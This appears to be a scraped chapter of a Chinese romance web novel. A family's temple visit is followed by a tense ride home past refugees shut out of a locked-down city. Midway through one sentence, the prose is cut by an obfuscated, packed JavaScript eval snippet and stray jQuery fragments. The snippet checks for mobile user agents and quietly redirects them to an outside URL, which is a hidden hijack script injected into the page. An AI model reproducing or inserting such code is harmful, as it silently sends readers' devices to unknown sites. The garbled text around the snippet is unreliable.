36. 第 36 章

作品:《和四个竹马的那些年

    走到寺庙门口时,安素雪突然想到了什么,她回过头,对着季飞白方才远眺的方向道:“那是,你家乡的方向吗?”


    季飞白颔首,却未多说什么,大踏步走了进去。


    年少离家,想必是想家的。其实安素雪不大明白,为何季家要让季飞白离家,即使他不是嫡母所生,也是季家的孩子啊。


    她悄悄看他,正好他抬眸看过来,安素雪迅速转过视线。


    每月的初一和十五,香佛寺的香火都极其旺盛,百姓们人来人往,好不热闹。


    安杏花和罗母二人一起进殿拜佛烧香,孩子们则是留在殿外等候。都说心诚则灵,孩子们鲜少接触这些,若是心不诚,这趟就白来了。


    俩人俱是摇了签,捏着竹签打算出去找外面的僧人解签,罗母道:“咱们这虽然还没乱,但我很担心,所以问问生意如何?你呢?求的什么?是不是也是医馆的生意啊?”


    哪里是生意,是安素雪的婚事。


    其实这也没什么,但经过她这么一问,安杏花倒有点不好意思开口了。幸好外面小竹子见她出来小跑着扑上来,安杏花没顾上回话,罗母就也没再追问了。


    解签文的人多要排队,罗母就率先过去,安杏花晚到一会,罗母身后已经站了几个人了。


    “杏花,你来这。”罗母叫人,意思是让安杏花站在她前面。


    如果是平常她肯定就过去了,但今天是想看安素雪婚事,安杏花指着队伍末尾道:“我在这,也快。”


    那边几个年轻人站在一起,大抵是心有余悸,安素雪甚至都没敢往香客住宿的方向看。


    罗武突然说了句:“拐卖孩子的那些人是不是还在官府牢里?”


    安素雪垂着眸子回答道:“说是要先审过,再移交给州府,应当已经转移走了。”


    陈山去县衙问过,说那些人确实是戏班子,利用戏法在城里拐了三个漂亮孩子,想到下一个地方出手卖出去。若是卖不出去,还能养着从小学戏法,用不了几年就能登台挣钱了。


    “惯犯。”提到拐孩子的犯人,罗文声音发冷,“恐怕不止这一次,兴许每到一个地方就如法炮制拐孩子离开,以此牟利。”


    这件事出了之后,城里有孩子的大人都看的非常紧,幸好没再出现丢孩子的事情。


    两位母亲解签回来,一个喜笑颜开,一个兴致恹恹。


    “娘,怎么了?”


    见安杏花抿着唇失落的模样,安素雪上前温声安慰。


    “没事,走吧,我们去吃一口粥。”


    初一十五两个日子,寺庙里都会熬粥。也不知道用的什么稻米,熬出来的粥又浓又香。只要进寺庙的香客都可以分上一碗,他们端着粥碗,还能歇息片刻。


    喝完粥往山下去,发现乞丐比之前多了不少,围着那些衣着华丽的妇人,嘴里说着讨喜的话。


    “现在城门戒严,他们没有牙牌根本进不去。”罗文道。


    俱是苦命人,安杏花拿出几个铜板,打算给他们分一分。有个小乞丐看见她的动作,一溜烟的窜了过来,快速说了讨喜的话然后手心朝上。


    安杏花便给了两个铜板,然而这时怀里的小竹子突然爆哭,像是被小乞丐吓到了。


    安杏花连忙安抚,小孩哭个不停,怎么也停不下来。


    “小竹子,看,这是什么?”


    安素雪绕到娘亲的身后,和搂着娘脖子哇哇哭的弟弟面对面。小竹子听见姐姐的声音睁开眼,泪眼朦胧的小孩瞧见姐姐手里有一块糖。


    季飞白看了过来,瞧见他给她的松子糖落在了小竹子手里,有了吃食顿时忘了哭,露出小门牙啃着松子糖。


    小竹子的眼睛生的又大又亮,和安素雪的眼眸生的一模一样。他刚哭完,睫毛上还挂着泪珠,可已经捧着糖块笑了。


    安素雪也笑的眉眼弯弯,比自己吃了糖还要觉得甜。


    上车的时候,有背着简陋包裹的落魄异乡人,询问有什么法子能进城。可能是看安素雪是个面善的,这么多人里挑着她来问。


    “现在城里进出都要看牙牌的,你若是身上有牙牌,只要登记在册便能进城。”


    “路上乱着哩,能保住命都不错了,牙牌早就不知道丢到哪了!”


    那人是个中年男人,身边还有个脏兮兮的看着像男娃的孩子,不过眼神清澈,安素雪一眼就看出是个小女娃。


    “姑娘啊,你行行好,将我们藏在你车里带着进城可好?”那中年男人凑近几步,“我无以为报,愿意入姑娘府上为奴!”


    这人作势就要下跪,吓的安素雪退后一步,身侧突然掠过人影,就见罗家兄弟一起上前挡在安素雪身前。


    “你干什么?别过来。”罗武大声呵斥。


    中年男人旁边的孩子见罗武凶神恶煞,连忙躲在父亲身后。


    这边季飞白解开了绳子,撩开车帘让女眷先上车,几步来到安素雪身边,拽着她的手腕往车旁拉。


    “世道乱了,这种人会越来越多,你能帮一个,帮不了所有人。况且,现在官府查的严,如果你当真让他上车,先不说能不能过了城门士兵的盘查,若是将来他在城里为非作歹,你会首当其冲受到牵连。别看了,上车。”


    季飞白身材颀长,手掌也生的宽大,轻松的握住她的小臂,手上没怎么用力,便将她送上了车厢。


    太轻了。他想。


    落座的安素雪抬眸看他,季飞白已经转身去叫罗家兄弟。不止他们如此,旁人家更是如避蛇蝎的避开那些人,更有甚者让府里的仆从去驱赶,嫌他们晦气。


    “都是可怜人。”安杏花感叹一句。


    想帮忙,但他们什么也做不了。经此一事,回城路上的气氛便有些凝重。


    沿途又碰到几个形容落魄的旅人,季飞白面色冷静的拒绝他们搭车请求,一言不发的赶路。


    安素雪坐在车厢最外侧,她不知道怎么回事觉得胸闷,便掀开帘子弯腰出去,坐在了季飞白身侧。


    车厢里,罗武作势也要追出来,罗文踢了他一脚,摇头示意莫要轻举妄动。


    长辈还在这,断不可举止轻浮,免得留下不好的印象。


    城外村落稀疏,路两旁俱是郁郁葱葱的树林,满眼绿色舒缓心中焦虑情绪。季飞白余光瞥了她一眼,瞧见她指甲抠着衣袖,贝齿咬着下唇,很明显还在为方才的事情惴惴不安。


    “也不知道外面到底乱成什么样,”安素雪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832124|155415||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    轻声开口,“好好的过日子,怎么就突然乱了呢?”


    这些年的安稳日子是她心之所向,安素雪甚至无法忍受一丁点的变化,不想让平静的水面起半分波澜。


    “我来的时候就已经有这种苗头了,新皇登基后朝堂动荡,底下各个州县不听号令,天高皇帝远,为所欲为。”


    出身官家的季飞白懂的自然多,虽说他父亲只是个茶马司副使,可到底不是普通人。边关看似苦寒,但实际上豪绅囤兵,官府睁一只眼闭一只眼,他在的时候乱世便已经初具端倪。


    后来他策马上路,一路上的所见所闻更是如此,马匪当道,官府不敢出兵剿匪,若不是他会功夫,恐怕都无法全身而退。


    “现在看来,情况越发严重了。”


    季飞白从未说过自己一路上的艰辛困苦,但安素雪稍作想象,便可窥得一二。听母亲说,他比自己还小上几个月。


    路途遥远,其困难油然可知。


    他们是普通百姓,只知道世道乱了的结果,却不明白缘由。


    ……


    车棚投下一片阴影,安素雪半张脸隐在暗色里,眉眼却璀璨如星。


    回城路上偶会碰见几个异乡人,面对他们的求助,安素雪抿着唇低声讲明缘由。


    季飞白叫她不必多解释。


    “有些人会觉得你帮忙就是好,不帮便是坏,惹一身麻烦。”


    比如方才一家三口,那妇人听安素雪说没法载他们进城后,当即破口大骂。季飞白侧目看过去,眼神凌厉如刀,当即叫妇人偃旗息鼓。


    不知道是不是因为挨骂的缘故,安素雪像是一朵枯萎的花坐在那,一言不发,从季飞白的角度看,她眼眸似乎红了一片,故意别过头,不叫他看见。


    若世道真的乱了,善良是最无用的东西。季飞白本想原话告诉她,但见她情绪低落的模样,他到底没说出口。


    快到城门口时,远远看见进城的队伍大排场龙。


    突然前面爆发一阵喧闹之声,车厢里的罗武闲不住,当即跳下车跑到前方查看。没一会跑了回来,安素雪问怎么了,罗武边弯腰查看车底边说道:“有个异乡人趴在车底想要混进城,被士兵发现了。”


    幸好他们车底干干净净。


    众人不由得唏嘘。


    队伍缓慢前进,待快到城门口时,瞧见路边躺着一个身上有血迹的人,脸上脏污覆盖,也瞧不出是男是女,是老是少,躺在那一动不动,不知生死。


    安素雪拽着裙摆像是要下车,季飞白握住她的手。


    自小学医的妙龄姑娘有一颗慈悲菩萨心,安素雪以为季飞白要阻拦她,


    她温声解释道:“我过去看看这人的伤势,能救就救一把。”


    碰见受伤的猫狗她都会救助,何况是个活人。


    “你忘了拿这个。”


    日光熠熠,琥珀色的眸子漂亮的像是一块宝石,璀璨夺目。他松开握住她的手,将摆放在车厢里的药箱取出来,绳带放在她手上。


    她诧异,因为她以为他是要阻拦的。


    意气风发的季飞白率先走了几步,见安素雪没动,他转过身扬眉:“不去?”


    “去的。”她小跑着追上他。